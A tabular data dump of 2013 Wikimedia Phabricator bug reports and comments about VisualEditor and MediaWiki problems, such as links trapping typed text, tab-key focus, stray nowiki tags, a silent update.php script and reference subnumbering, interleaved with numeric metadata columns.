This is quite a serious problem because a user who tries to set up a link at the right hand end of a line, i.e. without having first typed at least one space beyond it, becomes trapped in a mode where all further typing goes inside the link, and there is no easy way out. I think this is what is causing peculiar links, e.g. a link to ""Chendo"" piped to ""Chendo, "" and one to ""Manolo Sanchís"" piped to ""Manolo Sanchís and "". See report at

[[:en:WP:VisualEditor/Feedback#You have to type something after a word before attempting to wikilink it]]",,,1374678668,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jo6lx3im2dnf4fgrh2cy,task_subcomment,,True,c1,3,False,,,3,,0.5,1.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.5,1.0,1.0,3.5,13.0,1.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,1.5,1.5,1.5,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,5.0,2.5,9.5,1.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,2.0,13.0,7.0,0.0,6.0,0.0,2.0,0.0,2.0,4.0,0.0,2.0,0.0,0.5,2.0,3.5303030303030303,0.7272727272727273,"**JohnCD67** wrote:

This is quite a serious problem because a user who tries to set up a link at the right hand end of a line, i.e. without having first typed at least one space beyond it, becomes trapped in a mode where all further typing goes inside the link, and there is no easy way out. I think this is what is causing peculiar links, e.g. a link to ""Chendo"" piped to ""Chendo, "" and one to ""Manolo Sanchís"" piped to ""Manolo Sanchís and "". See report at

[[:en:WP:VisualEditor/Feedback#You have to type something after a word before attempting to wikilink it]]"
53530,VisualEditor: Tab key moves focus between citations; doesn't indent text as expected,"Editor HHHIPPO on English Wikipedia notes that the tab key does not increase indentation (as promised in the greyed out icon on the ribbon) but rather jumps from citation to citation. (For me, it also lands on wikilinks in templates.)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374064500,1395359458.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-nuhotkfh44rday75ra54,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,17.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.107692307692307,0.7230769230769231,"Editor HHHIPPO on English Wikipedia notes that the tab key does not increase indentation (as promised in the greyed out icon on the ribbon) but rather jumps from citation to citation. (For me, it also lands on wikilinks in templates.)

--------------------------
**Version**: unspecified
**Severity**: normal"
253661,VisualEditor: Tab key moves focus between citations; doesn't indent text as expected,"

*** This bug has been marked as a duplicate of bug 48010 ***",,,1395359458,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-nuhotkfh44rday75ra54,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 48010 ***"
53528,"VisualEditor: Inserting whitespace in front of a paragraph shouldn't convert the paragraph to a preformatted block, but also shouldn't leave unneeded <nowiki>s","On English Wikipedia, a user reports the following:
*Added leading whitespace to paragraph in VE. Text appears fine in VE, with leading whitespace as an indentation.
*Saved. VE adds nowiki tags before the whitespace and after the first few words. Text displays without indent.
*Tried removing the whitespace in VE.
*VE won't allow the whitespace to be removed, but instead will only permit the first few words to be deleted.
This is with Chrome 28 + Windows 7. I'll see if I can work out the conditions that would have created the first problem. - Bilby (talk) 02:37, 16 July 2013 (UTC)
VEspaceremoval.png

I tried to replicate this myself.
*Added whitespace to the lead of an article, and it nowikied. http://en.wikipedia.org/w/index.php?title=Quadrangle_%28architecture%29&diff=564486949&oldid=563578917

*It turned the first word into an uneditable element. See image: http://en.wikipedia.org/wiki/File:VEspaceremoval.png 

*Curious as to what the nowikis would do to formatting, I found an article that had formatting on the first word. It added space, no ""nowiki."" http://en.wikipedia.org/w/index.php?title=Marloth_Park&diff=564487138&oldid=557816381

* It allowed me to remove the space in VE.


(Also using Chrome on 7.)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374063600,1385386267.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-tpc6ler6znj3xz2beohn,task_description,resolved,True,c1,3,False,False,False,2,,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,5.0,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.6666666666666666,1.3333333333333333,9.333333333333334,0.0,1.6666666666666667,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,1.0,1.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.6666666666666666,0.0,9.666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,6.333333333333333,1.0,13.666666666666666,0.3333333333333333,1.3333333333333333,7.333333333333333,0.0,0.0,0.0,0.0,4.333333333333333,0.0,1.6666666666666667,0.0,3.6666666666666665,9.333333333333334,6.333333333333333,0.0,0.6666666666666666,0.0,3.6666666666666665,0.0,1.0,1.6666666666666667,0.6666666666666666,2.0,0.0,0.0,0.0,3.66656871387991,0.6722499755118033,"On English Wikipedia, a user reports the following:
*Added leading whitespace to paragraph in VE. Text appears fine in VE, with leading whitespace as an indentation.
*Saved. VE adds nowiki tags before the whitespace and after the first few words. Text displays without indent.
*Tried removing the whitespace in VE.
*VE won't allow the whitespace to be removed, but instead will only permit the first few words to be deleted.
This is with Chrome 28 + Windows 7. I'll see if I can work out the conditions that would have created the first problem. - Bilby (talk) 02:37, 16 July 2013 (UTC)
VEspaceremoval.png

I tried to replicate this myself.
*Added whitespace to the lead of an article, and it nowikied. URL

*It turned the first word into an uneditable element. See image: URL 

*Curious as to what the nowikis would do to formatting, I found an article that had formatting on the first word. It added space, no ""nowiki."" URL

* It allowed me to remove the space in VE.


(Also using Chrome on 7.)

--------------------------
**Version**: unspecified
**Severity**: normal"
253588,"VisualEditor: Inserting whitespace in front of a paragraph shouldn't convert the paragraph to a preformatted block, but also shouldn't leave unneeded <nowiki>s",This was fixed in July; sorry for the slow triage.,,,1385386267,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tpc6ler6znj3xz2beohn,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,1.0,This was fixed in July; sorry for the slow triage.
53514,update.php does not give any response.,"I meat an annoying problem. I tried to upgrade my wiki from 1.20.6 (0727d6a) to 1.22wmf9 in order to use VisualEditor. (nginx/1.2.5 php_version5.3.23 on Linode VPS)

The serves running few wikis using one set mediawiki software. I tried to php update.php the largest 1.5G Chinese version, but the script simple give no response.

example: 
 [root@moegirl maintenance]# php  update.php
 [root@moegirl maintenance]# 
I tried other smaller site, it react like this:
<pre>
MediaWiki 1.22wmf9 Updater

Going to run database updates for enwiki
Depending on the size of your database this may take a while!
Abort with control-c in the next five seconds (skip this countdown with --quick)
 ... 0
[root@moegirl maintenance]#
</pre>
The web updater works good for small wiki, but the 1.5G one will receive ""Timeout""

The most annoying thing is when I tried to upgrade same database to 1.22wmf9, all of then works as normal. Only the major linode VPS we are using have this problem.

Anyone had ever meet same problem? Is this a new bug? How to solve it?

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374048060,1374051736.0,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,False,PHID-TASK-eril5tvgiad53f3rcpft,task_description,declined,True,c1,3,False,False,True,2,,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,7.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.0,2.3333333333333335,7.333333333333333,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.3333333333333333,9.666666666666666,0.6666666666666666,0.6666666666666666,7.0,0.0,0.0,0.3333333333333333,1.0,4.0,0.0,4.0,0.0,3.6666666666666665,7.333333333333333,3.3333333333333335,1.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,0.0,0.6666666666666666,1.0,0.0,1.6666666666666667,0.3333333333333333,0.6666666666666666,4.0,3.8808404349103736,0.7652561465373688,"I meat an annoying problem. I tried to upgrade my wiki from 1.20.6 (0727d6a) to 1.22wmf9 in order to use VisualEditor. (nginx/1.2.5 php_version5.3.23 on Linode VPS)

The serves running few wikis using one set mediawiki software. I tried to php update.php the largest 1.5G Chinese version, but the script simple give no response.

example: 
 [root@moegirl maintenance]# php  update.php
 [root@moegirl maintenance]# 
I tried other smaller site, it react like this:
<pre>
MediaWiki 1.22wmf9 Updater

Going to run database updates for enwiki
Depending on the size of your database this may take a while!
Abort with control-c in the next five seconds (skip this countdown with --quick)
 ... 0
[root@moegirl maintenance]#
</pre>
The web updater works good for small wiki, but the 1.5G one will receive ""Timeout""

The most annoying thing is when I tried to upgrade same database to 1.22wmf9, all of then works as normal. Only the major linode VPS we are using have this problem.

Anyone had ever meet same problem? Is this a new bug? How to solve it?

--------------------------
**Version**: unspecified
**Severity**: normal"
252854,update.php does not give any response.,"Find out reason. For some unknown reason, the php does not shows error message. When one of my friend tried 

php -n update.php

it showed the error message and we fix it very soon according to it.",,,1374051736,,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,,PHID-TASK-eril5tvgiad53f3rcpft,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.7674418604651163,0.7674418604651163,"Find out reason. For some unknown reason, the php does not shows error message. When one of my friend tried 

php -n update.php

it showed the error message and we fix it very soon according to it."
252847,update.php does not give any response.,"The most annoying thing is when I tried to upgrade same database to 1.22wmf9 on other vps, all of then works as normal.",,,1374048262,,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,,PHID-TASK-eril5tvgiad53f3rcpft,task_subcomment,,True,c1,3,False,,,2,,4.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,20.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,20.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,3.88,0.96,"The most annoying thing is when I tried to upgrade same database to 1.22wmf9 on other vps, all of then works as normal."
252840,update.php does not give any response.,"BTW, I tried 1.20.6 and 1.21.1 as well. None of them work in that server.",,,1374048167,,PHID-USER-qrnoqj2szt6knvcqvaxt,False,,,PHID-TASK-eril5tvgiad53f3rcpft,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.2777777777777777,0.9444444444444444,"BTW, I tried 1.20.6 and 1.21.1 as well. None of them work in that server."
53481,&veaction= as a second parameter works on enwiki but not zhwiki,"Dunno why but:

https://en.wikipedia.org/w/index.php?title=Fish&veaction=edit loads VE-edit mode

https://zh.wikipedia.org/w/index.php?title=%E9%B1%BC&veaction=edit doesn't.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374012540,1382132030.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-tlf237apfkoioeofs5ec,task_description,declined,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4705882352941178,0.6176470588235294,"Dunno why but:

URL loads VE-edit mode

URL doesn't.

--------------------------
**Version**: unspecified
**Severity**: normal"
250734,&veaction= as a second parameter works on enwiki but not zhwiki,"(In reply to comment #2)
> Do you perhaps have the VE preference enabled on enwiki but not on zhwiki?
> veaction=edit will only work if VisualEditor is available, i.e. you didn't
> disable it and it didn't detect some problem with your browser that made it
> disable itself.

Well it works for me now on zhwiki.",,,1382132925,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-tlf237apfkoioeofs5ec,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.7692307692307693,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Well it works for me now on zhwiki."
250728,&veaction= as a second parameter works on enwiki but not zhwiki,"Do you perhaps have the VE preference enabled on enwiki but not on zhwiki? veaction=edit will only work if VisualEditor is available, i.e. you didn't disable it and it didn't detect some problem with your browser that made it disable itself.",,,1382132880,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tlf237apfkoioeofs5ec,task_subcomment,,True,c1,3,False,,,15,,2.0,0.0,0.0,0.0,6.0,4.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,6.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,15.0,8.0,6.0,2.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.1875,0.8541666666666666,"Do you perhaps have the VE preference enabled on enwiki but not on zhwiki? veaction=edit will only work if VisualEditor is available, i.e. you didn't disable it and it didn't detect some problem with your browser that made it disable itself."
250721,&veaction= as a second parameter works on enwiki but not zhwiki,I cant reproduce this now.,,,1382132030,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-tlf237apfkoioeofs5ec,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,I cant reproduce this now.
53456,"Rearranging, removing, or reorganizing sections, then saving the page, causes the Table of Contents to link to 'Edit' instead of the section","From http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#How_did_it_go_to_Vedit_mode.3F

""After saving an V-edit on Shiva, I saved the page. From contents, I clicked on a section. Instead of going to the section, it went in Vedit mode. --Redtigerxyz Talk 09:48, 14 July 2013 (UTC)""


The problem was replicated in at least two articles, and only appears when reorganizing or removing sections.  The editor is running Chrome Version 28.0.1500.72 m and Windows 7 Home edition.  I couldn't replicate it using either Safari or Firefox on a Mac.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7",Needs Triage,90.0,1373999220,1385374579.0,PHID-USER-uf3buojo4ceizjywvyn5,True,,False,PHID-TASK-djoqnd37pa6rtsa7b2iv,task_description,invalid,True,c1,3,False,False,False,2,,0.0,0.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,2.0,1.0,3.5,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.5,17.0,1.0,3.5,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,0.0,3.0,6.0,9.0,0.0,1.0,0.0,3.0,0.0,1.0,2.0,0.0,4.0,0.0,0.5,0.0,3.6953125,0.7265625,"From URL

""After saving an V-edit on Shiva, I saved the page. From contents, I clicked on a section. Instead of going to the section, it went in Vedit mode. --Redtigerxyz Talk 09:48, 14 July 2013 (UTC)""


The problem was replicated in at least two articles, and only appears when reorganizing or removing sections.  The editor is running Chrome Version 28.0.1500.72 m and Windows 7 Home edition.  I couldn't replicate it using either Safari or Firefox on a Mac.

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Windows 7"
249290,"Rearranging, removing, or reorganizing sections, then saving the page, causes the Table of Contents to link to 'Edit' instead of the section","I still cannot replicate this; possibly a transient caching bug?

Marking as INVALID. Please re-open if it recurs.",,,1385374579,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-djoqnd37pa6rtsa7b2iv,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.769230769230769,0.9615384615384616,"I still cannot replicate this; possibly a transient caching bug?

Marking as INVALID. Please re-open if it recurs."
249285,"Rearranging, removing, or reorganizing sections, then saving the page, causes the Table of Contents to link to 'Edit' instead of the section","fwiw, I also tried to replicate it back in July and failed.",,,1380534380,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-djoqnd37pa6rtsa7b2iv,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,14.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.4285714285714284,1.0,"fwiw, I also tried to replicate it back in July and failed."
53453,VisualEditor:Wrong reference subnumbering used for some wikis,"Screenshot

Multiple uses of a references are shown in the reference list:

Default: is ""1.0 1.1 1.2 1.3"" etc.

Some wikis, like dewiki, uses ""a b c"" etc. 


VE rendering always use the default.

This is configured onwiki with [[MediaWiki:Cite references link many format]]. It depends on usage of $2 or $3:

Default content: [[#$1|$2]]. $2 responsible for showing ""1.0 1.1 1.2 1.3"" etc

dewiki content: [[#$1|$3]]. $3 is responsible for showing ""a b c"" etc

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11692}",Needs Triage,90.0,1373997420,1379788309.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-w2eu52oilk4spsdpzeoa,task_description,resolved,True,c1,3,False,False,True,2,,1.0,0.0,0.0,1.0,0.0,4.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,9.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,7.5,0.0,0.5,3.5,0.0,0.0,0.0,1.5,0.5,0.0,8.0,0.0,0.5,4.5,5.0,0.0,4.5,0.0,0.5,0.0,0.0,1.5,0.0,1.5,0.0,0.0,7.0,3.1363636363636367,0.6038961038961039,"Screenshot

Multiple uses of a references are shown in the reference list:

Default: is ""1.0 1.1 1.2 1.3"" etc.

Some wikis, like dewiki, uses ""a b c"" etc. 


VE rendering always use the default.

This is configured onwiki with [[MediaWiki:Cite references link many format]]. It depends on usage of $2 or $3:

Default content: [[#$1|$2]]. $2 responsible for showing ""1.0 1.1 1.2 1.3"" etc

dewiki content: [[#$1|$3]]. $3 is responsible for showing ""a b c"" etc

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11692}"
249176,VisualEditor:Wrong reference subnumbering used for some wikis,"This is covered by bug 49346 which is assigned and prioritised, so I'm marking this as a duplicate.

*** This bug has been marked as a duplicate of bug 49346 ***",,,1379788309,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-w2eu52oilk4spsdpzeoa,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,8.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.3846153846153846,0.6666666666666666,"This is covered by bug 49346 which is assigned and prioritised, so I'm marking this as a duplicate.

*** This bug has been marked as a duplicate of bug 49346 ***"
249172,VisualEditor:Wrong reference subnumbering used for some wikis,"(In reply to comment #1)
> (Are the letters in ref.1 at
> https://en.wikipedia.org/w/index.php?title=User:Elitre_(WMF)/
> Sandbox&diff=next&oldid=570373191
> different from what you describe?)

In read mode I see

1. ^ a b pippo

In VE edit mode I see:

1.   1.0 1.1 pippo

